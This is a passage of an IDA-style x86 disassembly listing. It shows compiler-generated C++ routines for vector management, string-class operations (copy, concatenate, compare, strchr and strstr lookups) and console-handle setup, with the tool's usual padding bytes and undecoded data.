retn 8
sub_409610 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409660 proc near ; CODE XREF: sub_40191Aj
var_40 = byte ptr -40h
var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_C = dword ptr -0Ch
push 0FFFFFFFFh
push offset SEH_409660
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3Ch+var_39]
lea ecx, [esp+3Ch+var_38]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
call near ptr 76081F67h
nop
lea ecx, [esp+44h+var_40]
mov [esp+44h+var_C], 0
push ecx
lea ecx, [esp+48h+var_30]
call near ptr 760A0430h
nop
lea edx, [esp+48h+var_34]
push offset dword_440088
push edx
call sub_437B22
sub_409660 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4096E0 proc near ; CODE XREF: sub_401BAEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_4097AB
mov ecx, esi
call sub_401983
cmp edi, eax
jnb short loc_409713
mov ecx, esi
call sub_401983
mov ebp, eax
jmp short loc_409715
; ---------------------------------------------------------------------------
loc_409713: ; CODE XREF: sub_4096E0+26j
mov ebp, edi
loc_409715: ; CODE XREF: sub_4096E0+31j
mov ecx, esi
call sub_401983
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401CC1
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4016E0
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401177
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4016E0
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401717
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_401983
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4097AB: ; CODE XREF: sub_4096E0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_409809
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4016E0
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401177
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401FB4
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409809: ; CODE XREF: sub_4096E0+D8j
test edi, edi
jbe short loc_409843
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4016E0
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401CDF
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401FB4
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_409843: ; CODE XREF: sub_4096E0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_4096E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4098B0 proc near ; CODE XREF: sub_401717j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_4098D0
loc_4098C1: ; CODE XREF: sub_4098B0+1Ej
push esi
mov ecx, edi
call sub_402090
add esi, 4
cmp esi, ebx
jnz short loc_4098C1
loc_4098D0: ; CODE XREF: sub_4098B0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_4098B0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4098F0 proc near ; CODE XREF: sub_401294j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4098F0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409910 proc near ; CODE XREF: sub_402090j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_7
pop ecx
retn 4
sub_409910 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409930 proc near ; CODE XREF: sub_4016E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_409962
push edi
mov edi, [esp+10h+arg_8]
loc_409946: ; CODE XREF: sub_409930+27j
push esi
push edi
mov ecx, ebx
call sub_4015B4
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_409946
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409962: ; CODE XREF: sub_409930+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409930 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409980 proc near ; CODE XREF: sub_401177j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_4099A7
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_409996: ; CODE XREF: sub_409980+23j
push ebx
push esi
mov ecx, ebp
call sub_4015B4
add esi, 4
dec edi
jnz short loc_409996
pop esi
pop ebx
loc_4099A7: ; CODE XREF: sub_409980+Aj
pop edi
pop ebp
retn 0Ch
sub_409980 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4099C0 proc near ; CODE XREF: sub_401CC1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402059
sub_4099C0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4099F0 proc near ; CODE XREF: sub_4015B4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401145
add esp, 8
retn 8
sub_4099F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A20 proc near ; CODE XREF: sub_401FB4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_409A3D
mov edx, [esp+arg_8]
push esi
loc_409A31: ; CODE XREF: sub_409A20+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_409A31
pop esi
locret_409A3D: ; CODE XREF: sub_409A20+Aj
retn
sub_409A20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A50 proc near ; CODE XREF: sub_401CDFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_409A72
mov eax, [esp+arg_8]
push esi
loc_409A61: ; CODE XREF: sub_409A50+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_409A61
pop esi
retn
; ---------------------------------------------------------------------------
loc_409A72: ; CODE XREF: sub_409A50+Aj
mov eax, [esp+arg_8]
retn
sub_409A50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409AB0 proc near ; CODE XREF: sub_402059j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_409ABA
xor eax, eax
loc_409ABA: ; CODE XREF: sub_409AB0+6j
shl eax, 2
push eax
call sub_437AEA
sub_409AB0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AE0 proc near ; CODE XREF: sub_401145j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_409AFB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_409AFB: ; CODE XREF: sub_409AE0+11j
retn
sub_409AE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B10 proc near ; CODE XREF: sub_401988j
arg_0 = dword ptr 4
mov al, byte_44916A
push esi
test al, al
mov esi, ecx
jz short loc_409B46
push edi
nop
call near ptr 28217C4h
mov edi, dword_5118CC
push 0FFFFFFF5h
call edi
push 0FFFFFFF4h
mov [esi], eax
call edi
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], eax
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409B46: ; CODE XREF: sub_409B10+Aj
mov ecx, [esp+4+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], ecx
pop esi
retn 4
sub_409B10 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B80 proc near ; CODE XREF: sub_401CEEj
mov al, byte_44916A
push esi
test al, al
mov esi, ecx
jz short loc_409B9F
call near ptr 2821D79h
nop
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0FFFFFFFFh
loc_409B9F: ; CODE XREF: sub_409B80+Aj
mov byte ptr [esi+8], 0
pop esi
retn
sub_409B80 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409BC0 proc near ; CODE XREF: sub_40142Ej
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_43F010
mov [eax+9], ecx
mov [eax+11h], ecx
mov [eax+4], cl
mov [eax+0Dh], ecx
retn
sub_409BC0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409BF0: ; CODE XREF: ___:00402081j
; ___:loc_40218Fj
push esi
mov esi, ecx
call sub_401226
test byte ptr [esp+8], 1
jz short loc_409C08
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C08: ; CODE XREF: ___:00409BFDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C20 proc near ; CODE XREF: sub_401870j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43F010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015E1
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409C20 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C60 proc near ; CODE XREF: sub_4014D3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43F010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401FDC
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409C60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409CA0 proc near ; CODE XREF: sub_402112j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push ebx
push esi
mov esi, ecx
push eax
lea ecx, [esp+1Ch+var_10]
push offset dword_4447F4
push ecx
mov dword ptr [esi], offset off_43F010
nop
call sub_5F74D1
add esp, 0Ch
lea edx, [esp+18h+var_10]
xor ebx, ebx
mov ecx, esi
push edx
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015E1
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
add esp, 10h
retn 4
sub_409CA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D10 proc near ; CODE XREF: sub_401226j
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+9]
mov dword ptr [esi], offset off_43F010
cmp eax, edi
jz short loc_409D2C
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D2C: ; CODE XREF: sub_409D10+11j
mov eax, [esi+0Dh]
mov [esi+9], edi
cmp eax, edi
jz short loc_409D3F
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D3F: ; CODE XREF: sub_409D10+24j
mov [esi+0Dh], edi
mov [esi+11h], edi
pop edi
pop esi
retn
sub_409D10 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D60 proc near ; CODE XREF: sub_4015E1j
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
test edi, edi
jz short loc_409DCA
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+9]
not ecx
dec ecx
test eax, eax
mov ebp, ecx
jz short loc_409D8A
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D8A: ; CODE XREF: sub_409D60+1Fj
lea ebx, [ebp+2]
push ebx
call sub_437AEA
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h
dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
dd 51500956h, 0C9E89052h, 837783DCh
db 0C4h, 0Ch
; ---------------------------------------------------------------------------
loc_409DCA: ; CODE XREF: sub_409D60+Cj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409D60 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E00 proc near ; CODE XREF: sub_401FDCj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015E1
pop esi
retn 4
sub_409E00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409E30: ; CODE XREF: ___:00401A5Aj
mov eax, [esp+4]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
push offset dword_4447F4
push ecx
nop
call sub_5F74D1
add esp, 0Ch
lea edx, [esp+4]
mov ecx, esi
push edx
call sub_4015E1
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E80 proc near ; CODE XREF: sub_401AAFj
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebx, ecx
test edi, edi
jz loc_409F12
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebx+11h]
not ecx
dec ecx
mov esi, ecx
add esi, edi
lea eax, [esi+1]
push eax
call sub_437AEA
; ---------------------------------------------------------------------------
mov edi, [ebx+9]
add esp, 4
test edi, edi
mov ebp, eax
jz short loc_409F12
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+11h], esi
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [esp+10h+arg_0]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, edx
dec edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx+9]
test eax, eax
jz short loc_409F0F
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409F0F: ; CODE XREF: sub_409E80+84j
mov [ebx+9], ebp
loc_409F12: ; CODE XREF: sub_409E80+Cj
; sub_409E80+36j
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409E80 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F50 proc near ; CODE XREF: sub_4016C7j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_401AAF
pop esi
retn 4
sub_409F50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F80 proc near ; CODE XREF: sub_401140j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+18h+var_10]
push offset dword_4447F4
push ecx
nop
call sub_5F74D1
add esp, 0Ch
lea edx, [esp+14h+var_10]
mov ecx, esi
push edx
call sub_401AAF
pop esi
add esp, 10h
retn 4
sub_409F80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409FD0 proc near ; CODE XREF: sub_4012EEj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_409FE7
mov edx, [ecx+9]
xor eax, eax
test edx, edx
setnz al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409FE7: ; CODE XREF: sub_409FD0+7j
mov eax, [ecx+9]
push ebx
loc_409FEB: ; CODE XREF: sub_409FD0+3Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_40A016
test cl, cl
jz short loc_40A00F
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_40A016
add eax, 2
add esi, 2
test cl, cl
jnz short loc_409FEB
loc_40A00F: ; CODE XREF: sub_409FD0+27j
pop ebx
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A016: ; CODE XREF: sub_409FD0+23j
; sub_409FD0+33j
sbb eax, eax
pop ebx
sbb eax, 0FFFFFFFFh
pop esi
retn 4
sub_409FD0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A040 proc near ; CODE XREF: sub_401B86j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_40A040 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A070 proc near ; CODE XREF: sub_40150Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_40A083
mov edx, [ecx+9]
test edx, edx
setnz al
retn 4
; ---------------------------------------------------------------------------
loc_40A083: ; CODE XREF: sub_40A070+6j
push eax
mov eax, [ecx+9]
push eax
nop
call near ptr 77C4624Eh
add esp, 8
retn 4
sub_40A070 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0B0 proc near ; CODE XREF: sub_4021D0j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_40A0B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0E0 proc near ; CODE XREF: sub_401CD0j
push esi
mov esi, ecx
mov eax, [esi+9]
test eax, eax
jz short loc_40A0F3
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A0F3: ; CODE XREF: sub_40A0E0+8j
mov dword ptr [esi+9], 0
pop esi
retn
sub_40A0E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A110 proc near ; CODE XREF: sub_40102Dj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_437B30
mov eax, [esp+arg_2004]
test eax, eax
jz short loc_40A152
lea ecx, [esp+arg_2008]
lea edx, [esp+0]
push ecx
push eax
push 2000h
push edx
call near ptr 77C3FF8Ah
nop
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_4015E1
loc_40A152: ; CODE XREF: sub_40A110+13j
add esp, 2000h
retn
sub_40A110 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A180 proc near ; CODE XREF: sub_401D34j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401316
retn 4
sub_40A180 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1A0 proc near ; CODE XREF: sub_401316j
arg_0 = byte ptr 4
push ebx
mov ebx, dword_511AEC
push esi
push edi
movsx edi, [esp+0Ch+arg_0]
mov esi, ecx
push edi
mov eax, [esi+9]
push eax
call ebx ; strchr
add esp, 8
test eax, eax
jnz short loc_40A1C4
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A1C4: ; CODE XREF: sub_40A1A0+1Cj
mov ecx, [esi+9]
push edi
push ecx
call ebx ; strchr
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A1A0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1F0 proc near ; CODE XREF: sub_4018B1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401816
retn 4
sub_40A1F0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A210 proc near ; CODE XREF: sub_401816j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_402135
pop esi
retn 8
sub_40A210 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A240 proc near ; CODE XREF: sub_4013EDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402135
retn 4
sub_40A240 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A260 proc near ; CODE XREF: sub_402135j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_40A275
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A275: ; CODE XREF: sub_40A260+Bj
mov eax, [esi+9]
mov ebx, dword_511B04
push edi
push eax
call ebx ; strstr
add esp, 8
test eax, eax
jnz short loc_40A28F
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A28F: ; CODE XREF: sub_40A260+27j
mov ecx, [esi+9]
push edi
push ecx
call ebx ; strstr
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A260 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A2D0 proc near ; CODE XREF: sub_401C71j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
test edi, edi
jnz short loc_40A2E3
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A2E3: ; CODE XREF: sub_40A2D0+Aj
mov eax, [esi+9]
mov [esi+11h], edi
test eax, eax
jz short loc_40A2F6
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A2F6: ; CODE XREF: sub_40A2D0+1Bj
push ebx
lea ebx, [edi+1]
push ebx
call sub_437AEA
sub_40A2D0 endp
; ---------------------------------------------------------------------------
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [esi+9], edi
add esp, 4
rep stosd
mov ecx, edx
pop ebx
and ecx, 3
rep stosb
mov eax, [esi+9]
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A350 proc near ; CODE XREF: sub_4013E3j
mov eax, [ecx+11h]
retn
sub_40A350 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A370 proc near ; CODE XREF: sub_4012B2j
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A370
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebp
mov ebp, [esp+30h+arg_8]
push esi
xor esi, esi
cmp ebp, 1
mov [esp+34h+var_2C], ecx
mov [esp+34h+var_28], esi
jge short loc_40A3C2
mov esi, [esp+34h+arg_0]
push offset byte_448F40
mov ecx, esi
call sub_401870
mov eax, esi
pop esi
pop ebp
mov ecx, [esp+2Ch+var_C]
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A3C2: ; CODE XREF: sub_40A370+2Bj
push ebx
push edi
lea ecx, [esp+3Ch+var_24]
call sub_40142E
mov [esp+3Ch+var_4], esi
lea esi, [ebp+1]
push esi
call sub_437AEA
sub_40A370 endp
; ---------------------------------------------------------------------------
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+44h]
and ecx, 3
push ebx
rep stosb
mov eax, [esp+14h]
mov ecx, ebp
mov edi, ebx
mov esi, [eax+9]
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+1Ch]
call sub_4015E1
push ebx
call sub_437AD2
; ---------------------------------------------------------------------------
mov esi, [esp+44h]
add esp, 4
lea eax, [esp+18h]
mov ecx, esi
push eax
call sub_4014D3
lea ecx, [esp+18h]
call sub_401226
mov ecx, [esp+30h]
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A4A0 proc near ; CODE XREF: sub_401E47j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
push edi
mov esi, ecx
mov [esp+0Ch+var_4], 0
call sub_4013E3
mov ecx, [esp+0Ch+arg_4]
mov edi, [esp+0Ch+arg_0]
sub eax, ecx
push eax
push ecx
